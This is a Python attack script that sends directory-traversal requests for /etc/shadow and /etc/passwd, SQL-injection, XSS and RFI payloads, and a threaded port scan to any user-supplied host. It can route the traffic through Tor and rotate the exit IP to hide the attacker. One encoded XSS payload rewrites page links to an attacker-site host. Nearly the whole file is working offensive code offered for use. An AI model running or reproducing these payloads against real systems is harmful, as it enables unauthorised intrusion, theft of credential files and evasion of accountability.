import sys
import socket
import requests
import threading
import re

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def socketconnection(rhost):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        status=s.connect_ex((rhost,80))
        s.close()
        if status == 0:
            print(bcolors.OKGREEN+"CONNECTION MADE TO SERVER"+bcolors.ENDC)
            pass
        else:
            print(bcolors.WARNING+"FAIL"+bcolors.ENDC)
            print(bcolors.WARNING+"!!! Error: Cannot Reach RHOST {}".format(rhost)+bcolors.ENDC)
            sys.exit(1)
    except socket.error or socket.gaierror:
        print ("FAIL")
        print(bcolors.WARNING+"!!! Error: Cannot Reach RHOST {}".format(rhost)+bcolors.ENDC)
        sys.exit(1)

def checkpath(path,rhost,proxy):
    try:
        response=requests.get("http://"+rhost+"/"+path,proxies=proxy).status_code
        print(bcolors.OKGREEN+"REQUEST: http://{}/{}\nRESPONSE_CODE:{}".format(rhost,path,response)+bcolors.ENDC)
    except Exception:
        print(bcolors.WARNING+"! Error: An Unexpected Error occurred"+bcolors.ENDC)
        sys.exit(1)
    if response==200:
        print(bcolors.OKBLUE+"Valid Query: {}".format(path)+bcolors.ENDC)

def DIR_ATT(LIST,rhost,proxy,headers):
    for block in LIST:
        try:
            response=requests.get("http://"+rhost+"/"+block,proxies=proxy,headers=headers).status_code
            print(bcolors.OKGREEN+"REQUEST: http://{}/{}\nRESPONSE_CODE:{}".format(rhost,block,response)+bcolors.ENDC)
        except Exception:
            print(bcolors.WARNING+"! Error: An Unexpected Error with request"+bcolors.ENDC)
            response=None
            print(bcolors.WARNING+"REQUEST: http://{}/{}\nRESPONSE_CODE:{}".format(rhost,block,response)+bcolors.ENDC)
        if response==200:
            print(bcolors.OKBLUE+"Valid Query: {}".format(block)+bcolors.ENDC)

def SCANNER(rhost):
    delay = int(input("How many seconds the socket is going to wait until timeout: "))
    print(bcolors.UNDERLINE+bcolors.BOLD+"STARTING PORT SCAN FOR {}".format(rhost)+bcolors.ENDC)
    scan_ports(rhost, delay)

def scan_ports(rhost,delay):
    threads = []
    output = {}
    for i in range(250):
        t = threading.Thread(target=TCP_connect, args=(rhost, i, delay, output))
        threads.append(t)
    for i in range(250):
        threads[i].start()
    for i in range(250):
        threads[i].join()
    for i in range(250):
        if output[i] == 'Listening':
            print(bcolors.OKBLUE+str(i) + ': ' + output[i]+bcolors.ENDC)

def TCP_connect(ip, port_number, delay, output):
    try:
        TCPsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        TCPsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        TCPsock.settimeout(delay)
    except OSError:
        print(bcolors.FAIL+"THREAT FAILURE DETECTED"+bcolors.ENDC)

    try:
        TCPsock.connect((ip, port_number))
        output[port_number] = 'Listening'
    except:
        output[port_number] = ''

def TOR(tor_res):
    if tor_res=='y':
        proxies = {
            'http': 'http://127.0.0.1:8118',
            'https': 'http://127.0.0.1:8118',
        }
    else:
        proxies={}
    return proxies

def TOR_CHOICE(user_tor_input):
    while user_tor_input!='y' or user_tor_input!='n':
        user_tor_input=input("\nDo you want to perform these attacks over a tor network\nPlease enter in y or n\n")
        if user_tor_input=='y':
            proxy=TOR(user_tor_input)
            return proxy
        if user_tor_input=='n':
            proxy=TOR(user_tor_input)
            return proxy
        else:
            print(bcolors.WARNING+"Please enter a valid choice (\'y\' or \'n\')"+bcolors.ENDC)

def whats_my_ip(proxy):
    response=requests.get("http://www.icanhazip.com",proxies=proxy)
    grab = re.findall('([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)', response.content.decode('utf-8'))
    #print(grab[0])
    url = 'http://freegeoip.net/json/'+grab[0]
    r=requests.get(url)
    js=r.json()
    Country=js['country_name']
    City=js['city']
    print(bcolors.OKBLUE+bcolors.UNDERLINE+bcolors.BOLD+"Current IP: {}\nCountry: {}\nCity: {}".format(grab[0],Country,City)+bcolors.ENDC)

def tor_ip_change():
    try:
        tor_ctrl = socket.create_connection(('127.0.0.1', '9051'))
        tor_pass="tor_ctl_password"
        tor_ctrl.sendall(('AUTHENTICATE "{}"\r\nSIGNAL NEWNYM\r\n'.format(tor_pass)).encode())
        response1 = tor_ctrl.recv(1024)
        response=response1.decode()
        if response != '250 OK\r\n250 OK\r\n':
            sys.stderr.write('Unexpected response from Tor control port: {}\n'.format(response))
    except Exception as e:
        sys.stderr.write('Error connecting to Tor control port: {}\n'.format(repr(e)))

def main():
    path='css'
    directory_inclusion=['admin','images','yourfiles','EOF','myfiles','wp-login','wp-admin','cmd.exe']
    directory_traversal=['?user=../../etc/shadow','?title=..%2f..%2fc:\winnt\system32\netstat.exe','?user=../../etc/passwd']
    sql_injection=['test.php?username=\' or 1=1 /*\'','user.php?userid=5 AND 1=2 UNION SELECT password,username FROM users WHERE usertype=\'admin\'']
    XSS=['index.php?name=guest<script>alert(\'attacked\')</script>','index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e']
    EVADING=['?user=%U']
    MISC_ATTACKS=['?title=','?title=;']
    RFI_ATTACKS=['?https://www.yahoo.com','?https://www.yahoo.com']
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    bad_headers = {'User-Agent': 'Grendel'}
    bad_req=['']
    host = input("Enter host: ")
    try:
        rhost=socket.gethostbyname(host)
        print("IP IS: "+bcolors.BOLD+bcolors.UNDERLINE+rhost+bcolors.ENDC)
    except socket.gaierror:
        print(bcolors.WARNING+"Please Check the Hostname"+bcolors.ENDC)
        sys.exit()
    socketconnection(rhost)
    user_tor_input=None
    proxy=TOR_CHOICE(user_tor_input)
    print("USING PROXY\n",proxy)
    whats_my_ip(proxy)

    try:
        while True:
            print(bcolors.WARNING+"\nCHOOSE THE ATTACK TO PERFORM\n1-->DIRECTORY_TRAVERSAL\n2-->DIRECTORY_INCLUSION\n3-->SQL_INJECTION\n4-->XSS\n5-->TESTING_QUERY\n6-->SCANNER\n7-->EVASION QUERY\n8-->MISC_ATTACKS\n9-->RFI ATTACK\n10-->BAD_USER_AGENT\n11-->TOR_IP_CHANGE\n12-->STOP_USING_TOR\n13-->START_USING TOR\n14-->CHECK_YOUR_IP"+bcolors.ENDC)
            try:
                user_input=int(input("CHOOSE THE TYPE OF ATTACK\ne.g 4\n"))
                if user_input==1:
                    whats_my_ip(proxy)
                    DIR_ATT(directory_traversal,host,proxy,headers)
                if user_input==2:
                    whats_my_ip(proxy)
                    DIR_ATT(directory_inclusion,host,proxy,headers)
                if user_input==3:
                    whats_my_ip(proxy)
                    DIR_ATT(sql_injection,host,proxy,headers)
                if user_input==4:
                    whats_my_ip(proxy)
                    DIR_ATT(XSS,host,proxy,headers)
                if user_input==5:
                    whats_my_ip(proxy)
                    checkpath(path,host,proxy)
                if user_input==6:
                    SCANNER(rhost)
                if user_input==7:
                    whats_my_ip(proxy)
                    DIR_ATT(EVADING,host,proxy,headers)
                if user_input==8:
                    whats_my_ip(proxy)
                    DIR_ATT(MISC_ATTACKS,host,proxy,headers)
                if user_input==9:
                    whats_my_ip(proxy)
                    DIR_ATT(RFI_ATTACKS,host,proxy,headers)
                if user_input==10:
                    whats_my_ip(proxy)
                    DIR_ATT(bad_req,host,proxy,bad_headers)
                if user_input==11:
                    tor_ip_change()
                    whats_my_ip(proxy)
                if user_input==12:
                    proxy={}
                    whats_my_ip(proxy)
                if user_input==13:
                    proxy={
                            'http': 'http://127.0.0.1:8118',
                            'https': 'http://127.0.0.1:8118',
                        }
                    whats_my_ip(proxy)
                if user_input==14:
                    whats_my_ip(proxy)
                else:
                    print(bcolors.FAIL+"Please enter a valid choice"+bcolors.ENDC)
            except ValueError:
                print(bcolors.FAIL+"Please enter a valid number"+bcolors.ENDC)
    except KeyboardInterrupt:
        print(bcolors.BOLD+bcolors.OKBLUE+"ATTACK FINISHED"+bcolors.ENDC)

if __name__=="__main__":
    main()
